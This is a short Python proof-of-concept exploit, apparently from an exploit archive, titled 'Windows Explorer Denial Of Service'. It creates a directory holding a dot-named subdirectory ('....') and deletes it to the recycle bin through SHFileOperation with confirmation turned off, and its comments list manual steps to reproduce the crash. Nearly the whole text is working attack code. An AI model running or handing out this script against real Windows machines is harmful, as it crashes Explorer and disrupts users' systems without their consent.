Windows Explorer Denial Of Service

try:
    mkdir("c:trigger_alt")
except:
    print "[!] Trigger Directory Exists"
try:
    mkdir("c:trigger_alt....")
except:
    print "[!] Trigger Sub Directory Exists"

print "[!] Triggering Issue"

# This moves the directory containing the sub directory which creates the condition.
# The issue is in the function that moves the files to the recycle bin
# Replicate this using the following
# 1- mkdir c:trigger_alt
# 2- cd c:trigger_alt
# 3- mkdir ....
# 4- My Computer -> c:trigger_alt
# 5- Right Click -> Delete

shell.SHFileOperation((0,shellcon.FO_DELETE,'c:trigger_alt',None,shellcon.FOF_ALLOWUNDO|shellcon.FOF_NOCONFIRMATION))